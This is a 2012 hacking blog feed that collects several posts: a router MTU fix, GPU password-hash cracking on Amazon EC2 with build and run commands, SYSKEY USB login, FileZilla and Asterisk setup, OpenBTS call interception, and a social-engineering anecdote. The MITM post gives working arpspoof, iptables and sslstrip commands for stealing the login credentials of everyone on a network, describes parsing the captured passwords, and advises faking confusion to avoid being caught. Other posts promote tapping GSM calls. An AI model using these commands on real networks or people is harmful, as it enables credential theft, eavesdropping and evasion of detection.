Defend Hackers, Secure The World

New wireless router block some sites, oh it is blocking microsoft.com

noreply@blogger.com (h4ckfreak) — Tue, 09 Oct 2012 05:25:00 +0000

I initiated a thread in my facebook defend hackers group for seeking a help to resolve my issue:

I was using a ADSL broadband connection from India's largest ISP - BSNL. I was using an ancient modem/router to connect to Internet - Pronet PN-ADSL 101E/U:

As you can see below it has only one RJ45 out. So I was able to connect only one PC at a time. And currently I have two desktops and a laptop. So it was really headache to wait till my dad or brother accessing Internet on other PC.

So I decided to buy a new one. I went for a ADSL-less wireless router, since I wanted to ensure that the new one will work with cable net too (in case I change my ISP). So I bought TP-LINK wireless router: TL-WR941ND on Flipkart:

I configured my ADSL modem/router in bridge through its management console

To open management console of any router, you have to connect to it through wire. You cannot configure router when you are connected wirelessly.

Management console of old modem/routers usually opens up when you put http://192.168.1.1/ in the browser's address bar. If it doesnt open up, you may need to change the IP address of your NIC to something 192.168.1.5 (the last number can be anything but not 1), subnet mask to 255.255.255.0 and the default gateway to 192.169.1.1:

For new routers the address for management console may be different (You can also try 192.168.0.1). Usually you can find the default domain name in the router's manual. This domain name can be put in the browser's address bar instead of IP address. For example my new routers user guide says that default domain name is http://tplinklogin.net, the default IP address is 192.168.0.1.

When you put appropriate address, it asks for username and password which is usually admin and admin for most routers (check manual if it does not work ).

The bridging option can be done in management console. Generally the option shows in the Advanced Network Setup option. ( However different routers have different management console layout, so just check the manual ):

Then I setup router in following way:

Connecting the output of my old router to input WAN RJ45 of new router and then connecting my PC to anyone of the LAN ports of new router. Then I configured the new router in PPPoE through its management console and entered the username and password so that my new router will automatically login to the connection from my old router:

Oh yes, if you have changed your PC's IP address using procedure above while trying to open up your router's management console, change it to "Obtain an IP address automatically" (thats what usually ISPs do, but you may need to check with your ISP):

With that done I was able to connect my new router both through wire and wirelessly, but then there was a problem - it is not allowing access to some sites. Most notably yahoo.com (though ymail was working ), msn.com and yeah microsoft.com toooo. So that was seriously unacceptable. I did quick google and got some suggestions like adding rules to router to allow some ports. I did many of them but none worked. After hours of search I read something about Maximum Transfer Unit (MTU):

MTU of a communications protocol of a layer is the size (in bytes) of the largest protocol data unit that the layer can pass onwards. If the MTU size set in your router exceeds that can be handled by the devices at the backbone or by your ISP, then it may lead to packet retransmissions or eventually some sites getting blocked (at the router which cannot handle the bigger MTU sizes). Too small size may lead to excessive fragmentation, header overhead and acknowledgements.

Some sites went on saying:

The usual minimum MTU size for dial-ups is 576. So, with MTU = 576, possibility that the problem is solved is more. So change the MTU size to 576 and then go on increasing it by ten while checking whether connection works or not. The optimal MTU size will be the maximum one where router shows up all the websites.

Changing MTU to 576 surprisingly worked for me, but then I went to check out what will be the optimal MTU size. So the obvious idea was to check the MTU of the old router. First I connected my PC back directly to the old router. But the old routers' management console was so dumb that it did not showed anything called MTU (forget about changing MTU size). So I went on checking the other ways to check MTU size for the old router. And fortunately I found some DOS commands. This one really worked for me:

                   C:\Users\suren>netsh interface ipv4 show subinterfaces

I realized that the MTU size for my connection was 1460:

So I just went to the management console of new router (of course I connected my routers back in the setup showed above) and changed the MTU size from the default of 1480 to 1460:

And finally things started all working. That difference of 20 bytes was making all the mess!!! Now I can access all sites and yes microsoft.com too!!!!

Cracking With Cloud Amazon

noreply@blogger.com (h4ckfreak) — Tue, 02 Oct 2012 07:45:00 +0000

, Amazon EC2 is providing what they call “Cluster GPU Instances”: An instance in the Amazon cloud that provides you with the power of two NVIDIA Tesla “Fermi” M2050 GPUs. The exact specifications look like this:

22 GB of memory
33.5 EC2 Compute Units (2 x Intel Xeon X5570, quad-core “Nehalem” architecture)
2 x NVIDIA Tesla “Fermi” M2050 GPUs
1690 GB of instance storage
64-bit platform
I/O Performance: Very High (10 Gigabit Ethernet)
API name: cg1.4xlarge

GPUs are known to be the best hardware accelerator for cracking passwords, so I decided to give it a try: How fast can this instance type be used to crack SHA1 hashes?

Using the CUDA-Multiforce, I was able to crack all hashes from this file with a password length from 1-6 in only 49 Minutes (1 hour costs 2.10$ by the way.):

Compute done: Reference time 2950.1 seconds
Stepping rate: 249.2M MD4/s
Search rate: 3488.4M NTLM/s

This just shows one more time that SHA1 for password hashing is deprecated – You really don’t want to use it anymore! Instead, use something like scrypt or PBKDF2! Just imagine a whole cluster of these machines (which is now easily available to anybody thanks to Amazon) cracking passwords for you. Pretty comfortable, large-scale password cracking for everybody!

Some more details:

If I find the time, I’ll write a tool which uses the AWS-API to launch on-demand password-cracking instances with a preconfigured AMI. Stay tuned either via RSS or via Twitter.

Installation Instructions:

I used the “Cluster Instances HVM CentOS 5.5 (AMI Id: ami-aa30c7c3)” machine image as provided by Amazon — I chose this because it was the only image with CUDA support built in — and selected “Cluster GPU (cg1.4xlarge, 22GB)” as the instance type. After launching the instance and SSHing into it, you can continue by installing the cracker:

I decided to install the “CUDA-Multiforcer” in version 0.7, as it’s the latest version of which the source is available. To compile it, you first need to download the “GPU Computing SDK code samples“:

# wget  http://developer.download.nvidia.com/compute/cuda/3_2/sdk/gpucomputingsdk_3.2.12_linux.run
# chmod +x gpucomputingsdk_3.2.12_linux.run
# ./gpucomputingsdk_3.2.12_linux.run
(Just press enter when asked for the installation directory and the CUDA directory.)

Now we need to install the g++ compiler:

# yum install automake autoconf gcc-c++

The next step is compiling the libraries of the SDK samples:

# cd ~/NVIDIA_GPU_Computing_SDK/C/
# make lib/libcutil.so
# make shared/libshrutil.so

Now it’s time to download and compile the CUDA-Multiforcer:

# cd ~/NVIDIA_GPU_Computing_SDK/C/
# wget http://www.cryptohaze.com/releases/CUDA-Multiforcer-src-0.7.tar.bz2 -O src/CUDA-Multiforcer.tar.bz2
# cd src/
# tar xjf CUDA-Multiforcer.tar.bz2
# cd CUDA-Multiforcer-Release/argtable2-9/
# ./configure &amp;&amp; make &amp;&amp; make install
# cd ../

Since the Makefile of the CUDA-Multiforcer doesn’t work out of the box, we need to open it up and find the line

CCFILES := -largtable2 -lcuda

Replace CCFILES with LINKFLAGS so that the line looks like this:

LINKFLAGS := -largtable2 -lcuda

And type make. If everything worked out, you should have a file ~/NVIDIA_GPU_Computing_SDK/C/bin/linux/release/CUDA-Multiforcer. You can try the Multiforcer by doing something like this:

# export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH
# export LD_LIBRARY_PATH=/usr/local/cuda/lib64:$LD_LIBRARY_PATH
# cd ~/NVIDIA_GPU_Computing_SDK/C/src/CUDA-Multiforcer-Release/
# ../../bin/linux/release/CUDA-Multiforcer -h SHA1 -f test_hashes/Hashes-SHA1-Full.txt --min=1 --max=6 -c charsets/charset-upper-lower-numeric-symbol-95.chr

Congratulations, you now have a fully working, CUDA-based hash-cracker running on an Amazon EC2 instance.

Log In Using Pen Drive Instead of Passwords

noreply@blogger.com (h4ckfreak) — Sat, 25 Aug 2012 19:13:00 +0000

Idk how many of you worried about not having finger sweep or face recognition auth to loggin in ur system but there is always al alternative a brand stuff called

Whats the Story ?
SYSKEY is a utility that encrypts the hashed password information in a SAM database in a Windows system using a 128-bit encryption key.
Ok , What it Does:
It was meant to protect against offline password cracking attacks(Opcrack , Kon Boot , NT OFFLINE e.t.c ) so that the SAM database would still be secure even if someone had a copy of it.

NOTE: I haven’t tested copying data from 1 USB to another USB to see if it works as a backup. This way you could lock up a USB drive as a spare if needed.

Here’s how to get this to work using a USB drive.

1. Insert your USB drive into your system and wait for it to be recognized and install any necessary drivers.

2. Fire up disk management and re-assign the drive letter it was given to “A”.

Start up disk management by clicking Start and typing "diskmgmt.msc"

Right-click the USB drive and choose to assign driver letter or path.

Right-click the USB drive and choose to assign driver letter or path. Assign it to letter “A” Or Wateva you want

Accept the warning message

Now your USB drive is “A”

Run Syskey and save encryption to USB Drive “A”

Click Start and type syskey followed by hitting Enter

Syskey launched; Click “Update”

Choose “Store Startup key on floppy disk” and click “OK”

You’ll be prompted to enter your diskette. Make sure your USB drive is inserted and writable.

Whooph, Finally , Reboot and have fun. Don’t lose your USB disk! Also, to revert this, you can run syskey again and choose to store it locally instead of “on a floppy disk”.

Thanks,
h@ckfr3ak

Stealing Credentials via MITM Attacks -- ARPSpoof + SSLStrip + IPTables

noreply@blogger.com (h4ckfreak) — Thu, 24 May 2012 11:21:00 +0000

Well Back today with couple of interesting tools and how they can be used to steal data from network users. Specifically, we'll be going after login credentials to various secure sites, such as facebook and Twitter, flipkart e.t.c.

NOTE: This tutorial is intended to instruct current and up-and-coming pen-testers on methods that can be used to determine security on specific networks which they have permission to attack. Executing this attack without permission is illegal, and I do not personally condone such behavior.

There is a video that tells you how this attack works, for those of you too impatient to sit and read, but this tutorial will include more specific information which the video does not reveal, as well as a script specifically written to make life simpler when executing this attack.

The video can be found here: Hak5 SSLStrip Tutorial

Go ahead, view the video. The rest of the class will wait here patiently until you return.

and i have opened a thread in hak5forums which answers my basic questions by elite peoples i want you all to read those threads and come back here

Here its

Did you watch it? Good.have you read !Well GLAD !!

In today's lesson we're going to need the following tools:

A Linux OS (click)
Arpspoof (click)
IPTables (click)
SSLStrip (click)
Netstat (click)

Now, on to business.

What we're going to do today is perform a basic Man-In-The-Middle (MITM) attack on the users of our unsuspecting Target Network.

What is a Man-In-The-Middle attack?

I'm glad you asked. Here's a definition from our trusty friend, Wikipedia:

"In cryptography, a man-in-the-middle attack ... is a form of active eavesdropping in which the attacker makes independent connections with the victims and relays messages between them, making them believe that they are talking directly to each other over a private connection, when in fact the entire conversation is controlled by the attacker."

In layman's terms, a MITM attack places the attacker between two unsuspecting targets, allowing him or her to intercept their communications.

Your next ques would be ""How does one perform one of these attacks""?

Good question. There are many ways of performing man-in-the-middle attacks, especially on computer networks. Today we're going to focus on one called "ARP Spoofing" or "ARP Cache Poisoning."

To understand how this works, I'll give you a little bit of background.

ARP Spoofing takes advantage of vulnerabilities in the Address Resolution Protocol. This protocol (ARP) basically helps systems on a network determine what IPs are associated with what MAC addresses.

Note: Guys i dont suggest you to use the SMAC tool its a script kiddie tool am not sure whether it will be 100percent anonymous, Since its the most downloaded in cnet.com , i would like to get ur input on this contact me via suren.click@gmail.com

When a computer connects to a network, it needs certain information to allow it to get online. For example, it needs to know the IP of the gateway, where it will route all traffic. But knowing an IP is worthless unless you have a MAC address you can link it to. Without a MAC, an IP is simply a number, and systems won't know which interface or which system to communicate with.

So, for example, let's say you hook your computer to the local wifi. Here's what happens:

Your computer will connect to the network, then will ask for the default gateway's MAC address via ARP. (Hi, I'm new here, who owns this place?)
The router will see the ARP request, and send its MAC address. (Hey! I'm the router. Anything you need, you come to me first.)
The computer will assign that MAC to the router's IP, and will continue on its merry way.

Thing is, systems don't just ask for the MAC once -- sometimes errors happen, sometimes routing tables change, so it is necessary to occasionally update the ARP tables to make sure they're up-to-date.

ARP Spoofing allows us to take advantage of this. Here's how that works:

Your computer asks for the MAC for the gateway. (Hey, haven't seen router around, anyone know where he is? Just want to make sure he's still here.)
The attacker will step in and claim to be the router. (Hi! I'm the new owner, you can talk to me.)
Your computer will blindly accept this claim! (Oh, cool! Nice to meet you!)
Meanwhile, when the real router shows up, the attacker's system will pretend to be your computer. (Hey! How's it going? So-and-so asked me to take his place, so if you don't mind, you can talk through me.)
The router will also blindly accept this claim. (Cool, cool. Let him know I said hi!)

At this point, the attacker's computer has tricked the victim into thinking that it is actually the router, and has tricked the router into thinking it is the victim! So now, when the victim and router decide to talk, they end up speaking with you instead, allowing you to know everything they're saying (and change it up).

So how do I become the man-in-the-middle?

I'm getting to that! Be patient!

So in order to use ARP poisoning to become the MITM, you would need to perform the following steps:

Set up port-forwarding on your Linux box.
1. Code:
```
echo '1' > /proc/sys/net/ipv4/ip_forward
```
2. This tells your computer to forward any packets that weren't intended for your machine.
Find out which system on your network is the gateway (e.g. router).
1. Code:
```
netstat -nr
```
2. This will inform you about which IP belongs to the gateway. Usually it's something like 192.168.1.1.
Use ARP Spoof to put yourself between the router and all other systems on the network.
1. Code:
```
arpspoof -i wlan0 192.168.1.1
```
2. You will need to change "wlan0" to reference whatever device is currently connected to the network -- usually eth0 or wlan0.
3. You will need to change "192.168.1.1" to the IP of the gateway through which your system connects. (See step 2.)
4. If you watched the Hak5 video above, you'll notice that we didn't define a target via the "-t" option. In the Hak5 video, they were attacking a specific target. In THIS tutorial, we're attacking the entire network.
5. NOTE: Under heavy loads, using arpspoof on an entire network can cause the network to crash, making the internet unavailable to all users. This makes it pretty obvious that something is up, and sysadmins will be doing what they can to fix the problem. Should this ever occur, stop the arpspoof process using 'ctrl-c' and wait a moment. The network should start working again, once the router informs everyone of its MAC. Then you can start your attack again, if you're so bold. (If you're worried about being caught, e.g. in a library or public place, just pretend like you're having trouble too and most people will ignore you.)

Having executed these steps, you will begin to see ARP Spoof actively rerouting all traffic through your system. You have now successfully become the Man in the Middle!

But how do I take advantage of this position?

Well, from this point, we can easily use tools like wireshark to sniff all network traffic and see what everyone's up to. Or we can reconfigure our firewall setup to deny access to specific IPs, effectively booting them off the network. Or we could use tools like the middler to actively change the traffic going through the network!

But we're not going to talk about those tools today -- that would be another tutorial altogether. Today we're going to learn how to use a fun tool called SSL Strip to steal login credentials from users.

What is SSL Strip?

SSL Strip is a tool written by Moxie Marlinspike and released at Black Hat DC 2009. It basically reroutes encrypted HTTPS requests from network users to plaintext HTTP requests, effectively sniffing all credentials passed along the network via SSL. The way it does this is it lets users connect via HTTP, logs their information, then redirects their connection to the originally-intended HTTPS server on the internet.

This all happens on the fly, and is practically invisible to users. The only way to notice is by checking the URL in the address bar: where normally it would display HTTPS, it will now display HTTP instead. (But on some sites, like Facebook, Myspace, and many others, the URL will never display HTTPS, so this attack will be impossible to detect by simply checking the URL.)

So how do we execute this attack?

Here's how:

First things first -- we need to set up a firewall rule (via iptables) to redirect requests from port 80 to port 8080 -- this will ensure that our outgoing connections (from SSL Strip) get routed to the proper port.
1. Code:
```
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
```
Now that we've got our firewall setup, we need to execute the MITM instructions listed earlier.
1. Code:
```
echo '1' > /proc/sys/net/ipv4/ip_forward
arpspoof -i wlan0 192.168.1.1
```
Once arpspoof starts running, open a new terminal and start SSL Strip.
1. Code:
```
sslstrip -k -l 8080
```
2. The "-k" designator tells the system to kill all currently active sessions, forcing users to re-login to their websites.

Now that we've started our MITM attack and got SSL Strip actively intercepting packets, all we have to do is sit and wait. SSL Strip will run as long as you want it to, and it will log all captured information in a file called sslstrip.log.

If you want to watch this file as it grows, you can use the 'tail' command. This is a fun tool that helps you watch logfiles as they're modified in real-time.

Code:

tail -f sslstrip.log

The "-f" modifier tells tail to follow the file until you tell it to stop.

Sweet! I've intercepted lots of traffic! Now what?

Once you're done with your attack, use the ctrl-c key combination to kill the 'tail,' 'sslstrip,' and 'arpspoof' processes. The sslstrip.log file will remain, and the system will stop being the MITM.

NOTE: As soon as the arpspoof process is ended, the network will go down temporarily. This is because arpspoof doesn't automatically repopulate ARP tables with the router's proper MAC, so systems are left in the dark until the router gets around to telling everyone its address. This problem shouldn't last long, but it happens to ALL systems on the network -- so it's best to play along (as if you're having trouble too). Immediately fleeing the premises is a pretty obvious clue that you had something to do with the outage.

After shutting down all processes and disconnecting from the network, you can safely go home and analyze the logfile you've made. It might look like a bunch of gobbledygook:

Code:

2010-06-27 20:38:24,482 SECURE POST Data (login.facebook.com):
charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&locale=en_US&email=user%40email.com&pass=password&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&lsd=H2cF2

But if you look closely, you'll notice that the username and password used to log into the site are there, plain as day!

Of course, it's not easy parsing through huge files full of this kind of garbage, and often times we encounter sites we don't need to see.

What can we do about this problem?

Well lucky for you, I've already written a tool specifically to parse the sslstrip.log files! Here's the source code (it's in python):

Look at the Code

This script uses a definitions file and a blacklist file (named "definitions.sslstrip" and "blacklist.sslstrip" respectively) to weed out the information you need.

These files are stored in a subdirectory called "resources".

Here's what they look like:
(resources/blacklist.sslstrip)

CODE:

touch.facebook.com
urlcheck.hulu.com
uts.amazon.com
webmail.aol.com
www.adotube.com
www.facebook.com
www.overstock.com
www.slideshare.net

Simply add each URL that you wish to ignore, and it'll prevent the script from parsing those URLs.

(resources/definitions.sslstrip)

Check here the login links

As you can see, each definition is listed in the following manner:

Code:

URL|Name Of Site|username_variable|password_variable|other_variables

It's relatively easy to add new definitions as you discover them!

Once you've got these files set up, all you have to do is put the sslstrip.log file in the same directory as the parselog.py script, then run it.

Code:

parselog.py | less

(I pipe the output to the 'less' so that I can parse the resulting output easier.)

You'll see output similar to the following:

Code:

(Facebook) email = user@email.com :: pass = password :: **NEW**

The script will print all discovered logins (marking new logins as **NEW**) as well as all unknown URLs found. These unknown URLs can be used to help you define new entries for the 'definitions.sslstrip' list.

All accounts found will be added to a file called 'accounts.txt' for your viewing pleasure, arranged alphabetically by the website they belong to.

And that's that!

What can I do to prevent this attack from hurting me?

There's not a whole lot you can do, though there are some defenses outlined here.

My suggestion is this: If you're ever on a public network, or if your personal wifi is unsecured, don't use that network to log into any of your personal accounts, unless you've got another defense in place.

One fun trick is to use SSH tunneling to route your traffic. If you've got an account on a secure box out in the internet somewhere (for example, a linux system hosted on the cloud), you can create a SSH tunnel to that box and route your traffic through the tunnel. That way, no matter who is listening in on your connection, all traffic is encrypted and there's little they can do to intercept it.

.

I hope this tutorial has been informational and fun for all involved! Take care, and happy hacking!

FTP Server Set Up With File Zilla

noreply@blogger.com (h4ckfreak) — Fri, 27 Apr 2012 09:05:00 +0000

Introduction:

There seemed to me some need for a guide to setting up a FTP server for at-work to offer FTP srevice to mi remote Administrative office.

Requirements:

FileZilla Server
FileZilla Client(most suggested but other ftp clients will work)
Home LAN setup with administrative abilities over your router(optional for internet server)

Download:

Navigate to http://filezilla.sourceforge.net/ and select the "Download" option from the right. Then select the server option. You may then choose either the Windows executable if you intend to run the machine from a Windows environment or the platform independent version if you plan to run it on any version of Linux/Unix or Macintosh.

Installation:

Installation is pretty quick. There is a few key options that you should make that vary depend based on how you intend to run this machine so i'll explain each briefly as I come to it.

At this point, you can make any options you see fit but I do suggest setting up the administrative interface as it makes the administration far more simple from the local machine and it takes up little to no extra space.

If you are installing this to simply administer a server(i.e. having multiple admins on, say, an in-home file server)you will only need to install the administration interface.

Here you will decide how you would like to install the FTP service. I have chosen to install it as a service operated manually. This is really a preference as I don't like anything on my computer to really start on its own. However, if you intend to run this on a remote machine that will have no real other use, you might want to set this as a remote service started automatically in case of a reboot. You can, of course, also set it to simply run on demand.

Additionally, this is the port that you will specify the remote administration port. It is best to leave it at its default value but if, for some reason, you would like to use another port: specify it now. Be sure to forward that port correctly as well(covered later).

Running FileZilla Server:

When you start up FileZilla Server it will ask you what server you would like to administrate.

If the machine is local: use the settings above making sure to specify the right port.

If the machine is remote: specify the IP and port.

Settings:

Select Edit > Settings and look into some of the changes.

Here you can leave pretty much default. My only suggestions are to change some of the timeout options if you don't want/need users to be disconnected. Also, change the Listen Port now if the server will be accepting client requests on some OTHER port. Again, be sure to reflect this change in your port forwarding options.

Nothing much here EXCEPT to set an admin password for your server. Be sure to set it to something you don't mind sharing if you intend to have multiple admins but make it secure enough that anyone who knows about your server can't gain access to the administrative rights.

This seems to be the part where most people stumble in their setup and I am not sure why. This is fairly basic and doesn't require nearly as much concern as most people give it. If you are behind a firewall/router that operates under NAT: select "Use the following IP:" and enter in your IP into the field.

Also, you will have to forward a range of ports for passive users to use. The FileZilla FAQ suggests 5000-5100 and I will go with this as well. Unless there is a problem with this number, use it. Make sure to set this as a range inside your router.

Users & Groups:

This is pretty basic stuff so I'll keep it brief. You will want to create groups to manage users but its not needed. It makes the sharing of a single file over multiple users easier. I'll start with making groups:

Pretty simple: make the appropriate group and fill in any needed information.

This is the gravy of the section. Set up which ever files you intend to share. These files will be accessible by ANYONE in the group, so add files carefully and add users even more carefully. In my example with admins: i will want admins to be able to have full permissions on the files so that new stuff can be added and old stuff removed.

Now for specific users:

Now we can add a user and give him group membership. Be sure to set this carefully as it will determine the access to particular files across groups. If you add a user to a group, that groups selected home directory will become the users home directory.

We can now add files/folders for the user. Be sure to set a home directory and set up an aliases(Linux/Unix). This is a bit more advanced and I suggest trying to share all the stuff you intend to share in a single folder to simplify things.

How do aliases work?
Let's assume you have two shared folders: c:\ftproot is your homedir and d:\myfiles is the second one. In order to display an alias to d:\myfiles in your homedir, add c:\ftproot\myalias as alias to d:\myfiles. A new folder with the name myalias will apear in your homedir with the contents of d:\myfiles
Source

Port Forwarding & Ranges:

See this site: http://www.portforward.com/english/r...outerindex.htm

Be sure to forward these ports(following this guide):

5000-5100 (passive range)
21 (listen)
14147 (admin interface)

Also, if you are operating behind a Windows based firewall add port 21 and the filezilla server executable to the exceptions list.

Conclusion:

There it is. This is your basic startup guide to getting a FileZilla Server on its feet. Please post questions and any suggestions I could make here. I'll try to keep this up-to-date with answers to more commonly asked questions

Asterisk - A Complete Telecommunication Platform

noreply@blogger.com (h4ckfreak) — Thu, 12 Apr 2012 06:13:00 +0000

Hope you all had some idea about what is Open-BTS now lets dig wats Asterisk all about, since we have to use the both OpenBTS and Asterisk, in order to create ur own gsm network now ill take u thro asterisk tutorial..

If u missed the OpenBTS article click here
OpenBTS

Asterisk is a software that helps u to connect from ur IP based Phone to wired connected land line networks and PSTN networks, via the VOIP service u may subscribed from any provider..
So hardware(OpenBTS + Astrisk is needed to create Networks Or To Tapping the calls)..Tapping calls made easier because Ur handsets not authenticating the Base station(Tower) when it registering ur number, wen moved away from another tower..! So when two users speaking you can easily create a session using Session Initiaion Protocol along(SIP) with ur Subscribed PBX Connection..u will be in the same line like three way calling !!!
Alright ,
Am compiling this article from various resources and watching couple of defcon videos that I found in internet,when I researched about OpenBTS, ASTERISK, Call center softwares,
In Future let me try Demonstrating the Simple GSM network , Inputs are welcomed

Here is the Schematic:

SETUP NEEDED :
1. IP PBX
2.Soft Phones(Touch Dialler Software)
3.Gateway IP Address of the VoIP Service that help you to talk/intercept calls with PSTN Users

ASTERISK USAGE :

Asterisk used in all places neealy from Software companies, Call centers , Live On training Classes , Video Conferencing e.t.c

You can either use it for ur home and business uses, so I assume u have a Broadband network
doesn’t matter either u behind NAT all u need a good internet speed that carry your up and down stream to carry your voice

SET UP
1. IP PBX , 2. PHONES(Soft Phones) , 3. SIP GATEWAY

1.IP PBX: You will need a computer to run the IP PBX , Yeah a standalone system
2.PHONES(Soft Phones) : Either u can get a Soft Phone or SIP Phone ?

Ok,What are SIP Phones?

SIP Phones are the same thing as VoIP Phones or soft phones. These are telephones that allow phone calls to be made using VoIP (voice over internet protocol) technology.
There are two types of SIP Phones. The first type is the hardware SIP phone, which resembles the common telephone but can receive and make calls using the internet instead of the traditional PSTN system.

SIP Phones can also be software-based. These allow any computer to be used as a telephone by means of a headset with a microphone and/or a sound card. A broadband connection and connection to a VOIP provider or a SIP server are also required.

SIP Gateway :

I presume you want to communicate with others on the PSTN network, so you need to obtain gateway service. Since part of the call is being carried on the circuit switched network, it costs real money. This means you will have to pay for this part of the system.

Step 1 – Sign Up for Service

This section takes you through signing up with VoipJet and BroadVoice. I am using two service because

it is less costly, if you use it a lot, and
it illustrates how to set up two different kinds of trunks.

VoipJet

Browse to http://www.voipjet.com. Sine up for service. Then log on and follow the line describing how to set up Asterisk. You will need to copy down your “VoipJet account number (username),” your “Authorization code (password),” and your server IP address (depending on your location). Ignore the rest of the setup instructions.

BroadVoice

Browse to http://broadvoice.com. Sign up. Say “I want to use my own SIP device”. When it asks what type of device, select “Not Listed (Generic SIP). When it asks for details, just say “Asterisk”. Next, pick your phone number. Next pick your plan. I recommend “BroadVoice BYOD Lite.” Once you have finished the sign up process, log in, click on “Account” and follow the “Show Settings” link in the “Your Devices” section. This section gives your phone number (in case you forget) and your password (you will need this later).

1. Ping the following hosts: proxy.lax.broadvoice.com, proxy.dca.broadvoice.com, and proxy.mia.broadvoice.com.

2. Pick the one with the lowest latency. In my case, it was proxy.dca.broadvoice.com.

3. Use nslookup to get the IP address of proxy.dca.broadvoice.com. In my case it is 147.135.0.128

Step 2 – Set Up SIP Softphone

Download and install XLite from http://xten.com.

Run XLite. Click on the “Menu” icon to configure it. Click on “System Settings”, then “SIP Proxy”, then “Default”.

Fill in the following fields:

User name: 200
Authorization user: 200
Password: abc123
Domain/Realm: 192.168.0.40
SIP Proxy: 192.168.0.40

It should look something like this.

The phone will try to register, but for now it will fail.

Get the Software

AAH can be downloaded from http://asteriskathome.sourceforge.net. Download the basic ISO file, and burn it to a CD as a bootable volume (exercise left to reader).

Load AAH

This is going to reformat your hard disk and load everything from the operating system on up, so make sure there is nothing on the hard drive that you want to save.

Boot your machine from the CD. When it prompts, type ENTER. Then wait as everything loads and compiles. This could take 30 minutes or more, depending on how fast your computer, hard drive, and CDROM are. At the end, it ejects the CD and reboots from the hard drive.

The initial login is:

username: root

password: password

Set Up Networking

The machine probably got an IP address from DHCP, but it is not what you want. Log in as root and run:

netconfig

It will display setup information. You should enter the following:

IP address: 192.168.0.40

Netmask: 255.255.255.0

Gateway: 192.168.0.1

DNS Server: 192.168.0.1

OK these changes, then reboot the machine to make them take effect.

After reboot, long in once more. You need to add the BroadVoice server IP address to /etc/hosts.

Edit /etc/hosts, and add the following line at the end:

sip.broadvoice.com 147.135.0.128

Here the IP address was the one obtained when signing up with BroadVoice.

Once this is done, you can do the rest of the configuration through the web.

Browse To AMP

From your web browser, go to http://192.168.0.40. You should see the following:

Select “Asterisk Management Portal.” Log in as follows:

username: maint
password: password

Now you should be at the AMP main screen.

Click on “Setup” to bring you to the main setup screen.

Set Up BroadVoice Trunk

Click on “Trunks” and then “Add SIP Trunk.” You see a blank SIP trunk form.

You will need to fill out the main items on the SIP/Trunk screens. I am using BroadVoice for incoming service only, so I will not administer outgoing trunk information.

Outbound caller ID: 7237570239
Max channels: 1

The outgoing settings can be left as is, except to fill in the trunk name as BroadVoice.

In Incoming Settings, fill in the following:

User Context: 7327570239
User Details:
callerid=7327570239
context=from-pstn
dtmfmode=rfc2283
fromdomain=sip.broadvoice.com
host=sip.broadvoice.com
insecure=very
secret=********
type=user
user=7327570239
username=7327570239

Check for Phone Registration

At this point, the XLite application should have registered with AAH. If not, exit XLite (you have to stop it from the tray icon) and restart. It should say “Logged in”. If not, see the troubleshooting section below. To start with, make sure you have assigned the same password in the extension form and in the phone.

On XLite, dial *23 to test audio input and output levels.

On XLite, dial *23 to test audio input and output levels.

h@ckfr3@k

OpenBTS : Starter Reference

noreply@blogger.com (h4ckfreak) — Mon, 09 Apr 2012 07:15:00 +0000

What is OpenBTS? What all they can do for humans ?

Open BTS is a Open source Base Transceiver Station, just a piece of hardware that helps you to create ur own GSM network Or Intercepting calls of GSM users via Any VOIP Subscription, but before subscribing to any VOIP Providers I want u read the Privacy policy of the provider then u all set to go ..!!

I understand ur next question, What this hardware all about and where I can get it ?

Alright, USRP(Universal software radio project) as a part of essel is manufacturing the product, they are the leading manufacturers of software based radio servers..

Gotcha, Where I can buy it for Legal Puposes ?

Yeah there is a place

Click here to purchase

They are currently taking all the Orders now..! You can even contact them in mail form for the Hardware datasheets

OK my product is shipped ?what I can do with it ?

Subscribe for VoIP services that u like ..!!

Then u are ready to go, but before some insights that u need to understand about OpenBTS,

Its Purely opensource Not as Asterisk habe Dual licences (Free software & properitary Software)

You ll learn about asterisk in mi next article.

Watch the above video to Create ur OWN GSM Network:

Where is Used : OpenBTS has already been used for cellular service at the Burning Man festival in the Black Rock Desert of Nevada and on the island of Niue in the South Pacific, among other locations.

Since No telecom company shown interest to provide services in the Island of Niue(only 1,200 peopes).OpenBTS is installed recently for Telecom services to talk with another in the same island..If the OpenBTS Switch is connected to internet means 1,200 peoples can talk all over the world..! Thanks to Dany for Bridging the Small island to the world

It uses open source Asterisk VoIP software as the PBX(private both exchange, you can call it as a Switching center where ur all calls forwarding to destination) to connect calls..

GSM operates on licensed bandwidth, OpenBTS networks can connect to the public switched network and the Internet. Because it converts to VoIP, it "makes every cell phone look like a SIP end point … and every cell phone looks like an IP device. But we don’t touch anything in the phone. Our calls Placed in VoIP using interent and then reaches the GSM Network Thro asterisk PBX …

any GSM phone will work, from a NOKIA 1100,2300 ANY 1000Rupees cell phone to iPhones and Androids.(In Androids and IPhone I Don kno call reception and forwarding will work inUMTS and Dual mode, So educate me in comments )

Kestral has sold about 150 units, hardware and software, since last January, with trial systems installed in India, Africa, the South Pacific and a number of other countries. The team has also done a few private installations like oil fields, farms, and ships at sea. They are also providing a system to the Australian Base in Antarctica. Plus OpenBTS has been downloaded about 4,000 times, mostly by researchers able to build their own base stations. It is also of interest for military communications, law enforcement and DARPA projects.

DEFCON Hacking with GNU RADIO :

TECHNOLOGY SHOULD HELP THE MAN KIND , but TECHNOLOGY CAN BE DEVASTING TOO, By PREACHING UR PRIVACY BY INTERCEPTING UR PRIVATE CALLS AND SEXTING MESSAGES

See you on Next Article "ASTERISK"

I wish to have a USRP in order to test OpenBTS, but I think it still a little bit expansive.

h@ckfre@k

Fundamentals of Social Engineering

noreply@blogger.com (h4ckfreak) — Fri, 06 Apr 2012 08:36:00 +0000

A True Story :

One morning a few years back, a group of strangers walked into a large shipping firm and walked out with access to the firm’s entire corporate network. How did they do it? By obtaining small amounts of access, bit by bit, from a number of different employees in that firm. First, they did research about the company for two days before even attempting to set foot on the premises. For example, they learned key employees’ names by calling HR. Next, they pretended to lose their key to the front door, and a man let them in. Then they "lost" their identity badges when entering the third floor secured area, smiled, and a friendly employee opened the door for them.

